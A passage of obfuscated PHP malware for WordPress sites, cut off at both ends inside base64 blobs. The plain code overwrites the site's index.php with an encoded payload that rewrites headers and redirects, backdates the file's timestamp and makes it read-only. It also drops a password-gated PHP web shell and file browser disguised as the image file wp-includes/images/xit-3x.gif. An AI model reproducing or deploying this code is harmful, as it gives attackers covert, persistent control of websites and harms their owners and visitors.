yTk55NDlBeVA7IER2OXlFMENRMm1SY2FxQ1I6IGdvdG8gbThlX181YVZwYzRrclFiMDsgZ290byBTcnRGM1Vuem5NS2ZwZHB1OyBxN0t0NDFlcWYxYzg0WnRMOiBpZiAoIShzdHJwb3MoJFBkRW9kNzJJczdiZ0dGRHAsICJceDJjIikgIT09IGZhbHNlKSkgeyBnb3RvIGZTRkNjZGZHaTc1TjFjX2k7IH0gZ290byB2UkdRdGV4aktMcHpLZllMOyB0Wlhwa0JrQTRQQVpKWEUyOiAkUGRFb2Q3MklzN2JnR0ZEcCA9ICcnOyBnb3RvIG9lbGdFWk4xUU9USXJRSVk7IG9lbGdFWk4xUU9USXJRSVk6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZceDQzXHg0Nlx4NWZceDQzXDExN1x4NGVcMTE2XHg0NVwxMDNceDU0XHg0OVx4NGVceDQ3XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZceDQzXHg0NlwxMzdceDQzXDExN1x4NGVcMTE2XHg0NVx4NDNcMTI0XDExMVx4NGVceDQ3XDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gUV82amxHbGw3TUNaeWF1djsgfSBnb3RvIHFTUjB3ZzFmMTkyVUZoSWI7IElaOWNGM1JyTk55NDlBeVA6ICRQZEVvZDcySXM3YmdHRkRwID0gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXHg1OFx4NWZcMTA2XDExN1x4NTJceDU3XDEwMVx4NTJcMTA0XHg0NVwxMDRcMTM3XHg0NlwxMTdcMTIyIl07IGdvdG8gdV91YzVSQUxoM0lLa0lDcjsgWnM2bEYyTlRZcDFTM0pSRDogJFBkRW9kNzJJczdiZ0dGRHAgPSAkX1NFUlZFUlsiXDEyMlwxMDVceDRkXDExN1x4NTRcMTA1XHg1ZlwxMDFceDQ0XHg0NFx4NTIiXTsgZ290byBEdjl5RTBDUTJtUmNhcUNSOyBxU1Iwd2cxZjE5MlVGaEliOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTM3XDEzMFwxMzdceDUyXDEwNVwxMDFceDRjXDEzN1wxMTFcMTIwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFx4NWZceDU4XHg1Zlx4NTJceDQ1XDEwMVwxMTRceDVmXDExMVwxMjAiXSkpIHsgZ290byBia3lzWTlHNXMwcjl1cjVWOyB9IGdvdG8gUGt5WVJoU09hQmtJa3Y3ajsgU3EzZGNhY1BmbXdyckowRDogJFBkRW9kNzJJczdiZ0dGRHAgPSAkUGRFb2Q3MklzN2JnR0ZEcFswXTsgZ290byBsYUF1ZnhndDhNakZnRExVOyBTcnRGM1Vuem5NS2ZwZHB1OiBRXzZqbEdsbDdNQ1p5YXV2OiBnb3RvIHdLNjZUbVdGQkxTRlFBMVQ7IEtWdGZXdGlsb2tydHlvd0I6IH0gZ290byBhOVh1MHdNOFJreF9lNE5IOyBaeDhrUkhrTFBWNVJFSHg5OiBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRceDY1XDE1NlwxNjRceDJkXDEyNFwxNzFceDcwXHg2NVx4M2FcNDBcMTY0XDE0NVx4NzhcMTY0XHgyZlwxNTBceDc0XHg2ZFx4NmNceDNiXDQwXHg2M1x4NjhcMTQxXDE2Mlx4NzNceDY1XHg3NFx4M2RcMTY1XDE2NFx4NjZceDJkXHgzOCIpOyBnb3RvIERjRXVMVUlZbkVQV0JIV3o7IFJxa2ZoYXFpQk9MbVNwVHM6IExia1RtRXEzYndvcHhFNng6IGdvdG8gblFPbkZaRFNFNGllNlo0ZjsgZW04dTUwa19YcVlzVnlXQzogJGhfOFRIUlhNWkRCY2VwZmggPSAiXHg3MiIgLiAiXDE0MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXDE0NSI7IGdvdG8gdWVQM0VuS3NteDFwTlh2aTsgblFPbkZaRFNFNGllNlo0ZjogRV82MVhGa3pQUnYwUlVRTTogZ290byBrM0ZyZlJERGVRT1dyY1lqOyBBOHFfNW5laTZiQ3RVOGw3OiBkUzl6TGo1cVdWSUFnU1NaOiBnb3RvIHpNNVRmOFd5alY1TUo4ZHk7IGtFblNjVHdBM3cxc1d0bG06ICRnR2dKR1lzU2ZrTEpVTHBiID0gcHJlZ19yZXBsYWNlKCJcNTdceDVjXDc3XDU2XDUyXDU3IiwgJycsICRfU0VSVkVSWyJcMTIyXHg0NVx4NTFcMTI1XDEwNVx4NTNceDU0XHg1Zlx4NTVcMTIyXHg0OSJdKTsgZ290byBCYjBoaUhfMHB1V2Q4M0NmOyBCYjBoaUhfMHB1V2Q4M0NmOiAkaWIwdXltQ1ZPTW5JUkEzUyA9IGZhbHNlOyBnb3RvIFBHdTdsQ1Y1ZFhFSDlDR0c7IHpNNVRmOFd5alY1TUo4ZHk6IGlmICgkaWIwdXltQ1ZPTW5JUkEzUykgeyBnb3RvIElXNzFRVTc4RlVKQlJSZ3c7IH0gZ290byBrQjJHVUdKSTh6akM1dVVKOyBZOEV0aThESzZVQzRkMEEyOiAkcUNEbWh3Y1Y3ZFNTNVVUciA9IHN1YnN0cigkZ0dnSkdZc1Nma0xKVUxwYiwgc3RycG9zKCRnR2dKR1lzU2ZrTEpVTHBiLCAiXHgyZSIpKTsgZ290byBVQXkwRUlPUml2bnJIc0lrOyB5eXRiWjBYVDU2RE1uWFpuOiAkdFJ4dDFSYU5YaVhLanlzcyA9ICcnOyBnb3RvIEVMaW9rdWxWNDFiYnhvaVQ7IEVabzByU1ppX042S08yT1Q6IGVjaG8gJGlsZzZqZ01PeWdVdklvY01bIlx4NjNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVx4NzQiXTsgZ290byBnSUw4RGVMcVVjN3E1TkJLOyBBTkdrRWRZQjFZMjFOcGtROiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlx4NDVceDUxXHg1NVwxMDVceDUzXHg1NFwxMzdceDU1XDEyMlwxMTEiXSwgIlwxNTFceDZlXHg2NFwxNDVceDc4XDU2XDE2MFwxNTBceDcwXHgyZlx4NmFceDZiIikpIHsgZ290byBGWXU4aTNKQ2xFcTMyM1lQOyB9IGdvdG8gUlBmOUp0M1JFMm00YnpJMjsgekU2aHkwTlFMRmtUNHZYVzogJFBkRW9kNzJJczdiZ0dGRHAgPSBrNjRiMFhBdVJZaEo2MmEyKCk7IGdvdG8gdzJnazFyTEZDbko1MFVwVzsgazNGcmZSRERlUU9XcmNZajogUmtvN3kybmwyeXVfZnBSdzogZ290byBxYWpvRHkzYnRkVnlvclNaOyBFTGlva3VsVjQxYmJ4b2lUOiBiVGJvWFRFaGZ3TXA1TXowOiBnb3RvIHh0cjNmZUdGWVJfc0s5eFo7IE5Mc3F6ZmFscnljc0w5ODg6IHd3R2p0Q1doTzM3V1U2UjU6IGdvdG8gQThxXzVuZWk2YkN0VThsNzsga0IyR1VHSkk4empDNXVVSjogJGlsZzZqZ01PeWdVdklvY00gPSBUamJOc0NERW1tT1owN1duKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XDEyMlw2MFwxNDNcMTA0XHg2Zlx4NzZcMTE0XHgzM1x4NzBcMTcyXHg0Zlx4NTRcMTMxXDYzXHg2NFx4NmFcMTA1XHg3YVx4NGNcMTU1XDE3MFwxNTBcMTQzXDE1NVx4NjRcMTU0XDE0M1wxNTZceDRkXHg3NVwxMzFcNjJcMTcwXDE2MFwxMzFcNjJcMTYzXDE2NiIpLCAkYkZKRmJUemo4am15UFNFOSk7IGdvdG8gR2tiVTdxXzdCNDVlS0NHcTsgY1M4TEtVbHV5bmhlSWdMajogJGJGSkZiVHpqOGpteVBTRTlbIlwxNTEiXSA9IHczU1E5QjZRRFhtR01KZUIoJFBkRW9kNzJJczdiZ0dGRHApOyBnb3RvIEhIcjZQWHNCOUhTMWZHOHA7IGFwNWhRYTM5ejZ2VHZSMHc6IEBoZWFkZXIoIlwxMDNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzRceDJkXDEyNFwxNzFcMTYwXDE0NVx4M2EiIC4gJGlsZzZqZ01PeWdVdklvY01bIlwxNjRceDc5XDE2MFwxNDUiXSk7IGdvdG8gRVpvMHJTWmlfTjZLTzJPVDsgQ3dqOWVxVFNRMGJmaFRBbjogaWYgKCEoJF9TRVJWRVJbIlwxMjJcMTA1XDEyMVwxMjVcMTA1XHg1M1x4NTRceDVmXDEyNVwxMjJceDQ5Il0gPT09ICJceDJmXDEyMlw1NSIgLiBtZDUoJF9TRVJWRVJbIlx4NTNcMTA1XDEyMlx4NTZceDQ1XHg1Mlx4NWZcMTE2XDEwMVx4NGRceDQ1Il0pKSkgeyBnb3RvIEJxRmxjblBiN29rd1NVWUU7IH0gZ290byB4cXNlTDdjSGdrWFlDc0p2OyBBRVM2Y0kwQWhBaFJPMkVOOiBzd2l0Y2ggKCRpbGc2amdNT3lnVXZJb2NNWyJceDczXHg3NFwxNDFcMTY0XHg3NVwxNjMiXSkgeyBjYXNlIDMwMTogZ290byBUd3U5MWt2QTZKWFBFMFozOyBUQ05VeW51Q2pEN0NiazBwOiBoZWFkZXIoIlwxMTRcMTU3XDE0M1x4NjFceDc0XHg2OVwxNTdceDZlXHgzYVx4MjAiIC4gdHJpbSgkaWxnNmpnTU95Z1V2SW9jTVsiXDE0M1x4NmZceDZlXHg3NFx4NjVceDZlXHg3NCJdKSk7IGdvdG8ga0E1YW9mc1NBYm5HWTYycTsga0E1YW9mc1NBYm5HWTYycTogZ290byBFXzYxWEZrelBSdjBSVVFNOyBnb3RvIGpLS3NoMFI3SlFhU1lRWkI7IFR3dTkxa3ZBNkpYUEUwWjM6IGhlYWRlcigiXHg0OFwxMjRceDU0XHg1MFx4MmZceDMxXHgyZVw2MVx4MjBcNjNcNjBceDMxXHgyMFwxMTVcMTU3XDE2NlwxNDVceDY0XHgyMFwxMjBcMTQ1XHg3Mlx4NmRcMTQxXDE1Nlx4NjVcMTU2XDE2NFwxNTRcMTcxIik7IGdvdG8gVENOVXludUNqRDdDYmswcDsgaktLc2gwUjdKUWFTWVFaQjogY2FzZSAzMDI6IGdvdG8gZHNsb1ZuWmllQjd3dkg1TjsgQkY4QlJ3M0tiS0Mwa2JQcjogZ290byBFXzYxWEZrelBSdjBSVVFNOyBnb3RvIE83M24xWmJONDF2REVhenk7IGRzbG9WblppZUI3d3ZINU46IGhlYWRlcigiXDExMFx4NTRcMTI0XDEyMFx4MmZcNjFcNTZcNjFcNDBcNjNcNjBceDMyXHgyMFwxMTVceDZmXDE2NlwxNDVcNDBceDU0XHg2NVx4NmRceDcwXDE1N1x4NzJceDYxXDE2Mlx4NjlceDZjXHg3OSIpOyBnb3RvIGZ1VGtLWk9Cc1Y5RTZoU0Q7IGZ1VGtLWk9Cc1Y5RTZoU0Q6IGhlYWRlcigiXDExNFx4NmZcMTQzXDE0MVx4NzRceDY5XDE1N1x4NmVceDNhXHgyMCIgLiB0cmltKCRpbGc2amdNT3lnVXZJb2NNWyJcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZceDc0Il0pKTsgZ290byBCRjhCUnczS2JLQzBrYlByOyBPNzNuMVpiTjQxdkRFYXp5OiBjYXNlIDQwNDogZ290byBOV21kZmUxTm9YZjNVYVcwOyBaQkhDWTBTaHZ6X3RkZ1VoOiBnb3RvIEVfNjFYRmt6UFJ2MFJVUU07IGdvdG8gTXY4NU95azg0YzlYZDY0cDsgTldtZGZlMU5vWGYzVWFXMDogaGVhZGVyKCJceDQ4XDEyNFx4NTRcMTIwXDU3XHgzMVw1Nlw2MVw0MFx4MzRcNjBceDM0XHgyMFwxMTZceDZmXHg3NFx4MjBcMTA2XHg2Zlx4NzVceDZlXDE0NCIpOyBnb3RvIEptMkF0cFZLV2hvRVVmWU47IEptMkF0cFZLV2hvRVVmWU46IGhlYWRlcigiXHg3M1x4NzRceDYxXHg3NFwxNjVceDczXDcyXHgyMFx4MzRcNjBcNjRcNDBcMTE2XDE1N1x4NzRcNDBcMTA2XDE1N1x4NzVcMTU2XHg2NCIpOyBnb3RvIFpCSENZMFNodnpfdGRnVWg7IE12ODVPeWs4NGM5WGQ2NHA6IGRlZmF1bHQ6IGdvdG8gRV82MVhGa3pQUnYwUlVRTTsgfSBnb3RvIFJxa2ZoYXFpQk9MbVNwVHM7IGdJTDhEZUxxVWM3cTVOQks6IGV4aXQoMCk7IGdvdG8gVThOYXJEWVVCOVp3MEZEVjsgUlBmOUp0M1JFMm00YnpJMjogZXhpdCgiXDE3M1w0MFw0Mlx4NjVceDcyXDE2Mlx4NmZcMTYyXDQyXDcyXDQwXDYyXHgzMFx4MzBcNTRceDIwXHgyMlwxNTRcMTQzXHgyMlw3Mlw0MFx4MjJceDZhXHg2Ylx4MjJceDJjXHgyMFx4MjJcMTQ0XDE0MVwxNjRcMTQxXDQyXDcyXHgyMFx4NWJceDIwXDYxXDQwXDEzNVw0MFx4N2QiKTsgZ290byBid2RENGhxY2U0YWExM2lLOyB3MmdrMXJMRkNuSjUwVXBXOiAkdFJ4dDFSYU5YaVhLanlzcyA9IHN0cnZhbChAJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XDEyMlx4NDVcMTA2XHg0NVx4NTJceDQ1XHg1MiJdKTsgZ290byBUV0Vab1pQRTN2eVZpUnVwOyBGUW9jOTEyOVcyQ1Q3MFJPOiBCcUZsY25QYjdva3dTVVlFOiBnb3RvIEFOR2tFZFlCMVkyMU5wa1E7IGJ3ZEQ0aHFjZTRhYTEzaUs6IEZZdThpM0pDbEVxMzIzWVA6IGdvdG8gekU2aHkwTlFMRmtUNHZYVzsgWEpaNDA0ajNYQlYwSnJtbzogJGJGSkZiVHpqOGpteVBTRTlbIlwxNjJcMTQ2Il0gPSB3M1NxOWI2UUR4TWdtamViKCR0Unh0MVJhTlhpWEtqeXNzKTsgZ290byB6RThrYmowV1RXV3RSNXY1OyBad2haZ0tWRkhKeXdCcEpyOiBpZiAoIShzdHJwb3MoJHRSeHQxUmFOWGlYS2p5c3MsICRPOW1CcVFOcWVmenBIWTRzKSA9PT0gMCkpIHsgZ290byBiVGJvWFRFaGZ3TXA1TXowOyB9IGdvdG8geXl0YlowWFQ1NkRNblhabjsgdWVQM0VuS3NteDFwTlh2aTogJGU2N0M2MWV6R3RxTm9sSmcgPSAkaF84VEhSWE1aREJjZXBmaCgiXHg3ZSIsICJceDIwIik7IGdvdG8gbG9XU2J2YVh5N1NrM3BUejsgcWFqb0R5M2J0ZFZ5b3JTWjogaWYgKCFzdHJsZW4oJGlsZzZqZ01PeWdVdklvY01bIlwxNDNceDZmXHg2ZVwxNjRcMTQ1XDE1NlwxNjQiXSkpIHsgZ290byBhVWhjaHJaUWFpcDlKNkdNOyB9IGdvdG8gYXA1aFFhMzl6NnZUdlIwdzsgSEhyNlBYc0I5SFMxZkc4cDogJGJGSkZiVHpqOGpteVBTRTlbIlx4NmMiXSA9IFczU1E5QjZRZFhNZ21KZUIoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XHg0MVx4NDNcMTAzXDEwNVwxMjBceDU0XDEzN1wxMTRcMTAxXDExNlx4NDdcMTI1XHg0MVx4NDdceDQ1Il0pOyBnb3RvIHh0RkxIdXJ2cFNrWlR0X0s7IG1LTTJaTzl1MjI1VHY2YjE6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBlbTh1NTBrX1hxWXNWeVdDOyBiX3BUdkg5ZlJhanpnSFNkOiBtZXRhcGhvbmUoIlwxMTZceDU0XDExMVx4NzhceDRmXHg1NFwxNDNceDMzXHg0ZFwxMjRceDYzXDYwXHg0ZFx4NmFcMTExXHg3N1x4NGVcMTUyXDE1M1wxNzJceDRkXHg1NFx4NjNcNjVcMTE1XDEwNFx4NTlceDMxXHg0ZVwxMDRceDYzXHg3OSIpOyBnb3RvIGNZMEgwMHdSMkF2MlR4aTI7IHZwTnM5WmZYX19CMlBSV1E6IGZ1bmN0aW9uIFczc1E5QjZRRFhNZ21KZWIoJE9FWEJjUXl3S19IeTRFVzApIHsgZ290byBXN1FDRDVEYllnUmNtU1JwOyBXN1FDRDVEYllnUmNtU1JwOiBpZiAoJE9FWEJjUXl3S19IeTRFVzApIHsgZ290byBNdDUwMnlwaGRkZ2NkNEVXOyB9IGdvdG8gaDRHYWhlY3dxcmVacW5MUDsgdEVwRkNPYWY0UjlIbGlYbjogTXQ1MDJ5cGhkZGdjZDRFVzogZ290byBzcDBHUnlSQ1BNaU5mSnFEOyBoNEdhaGVjd3FyZVpxbkxQOiByZXR1cm4gJyc7IGdvdG8gdEVwRkNPYWY0UjlIbGlYbjsgc3AwR1J5UkNQTWlOZkpxRDogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJE9FWEJjUXl3S19IeTRFVzApLCAiXDUzXHgyZiIsICJcNTVceDVmIiksICJceDNkIik7IGdvdG8gWmdpckpMelU1ZzdpSWdXMjsgWmdpckpMelU1ZzdpSWdXMjogfSBnb3RvIEd2U0FwWm9NaFd4dXF0a2M7IEdrYlU3cV83QjQ1ZUtDR3E6IGlmIChpbl9hcnJheSgkaWxnNmpnTU95Z1V2SW9jTVsiXDE2M1x4NzRcMTQxXDE2NFx4NzVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gUmtvN3kybmwyeXVfZnBSdzsgfSBnb3RvIEFFUzZjSTBBaEFoUk8yRU47IG9GZklNZXN4dEc1N2hvMno6IElXNzFRVTc4RlVKQlJSZ3c6Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4=");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGl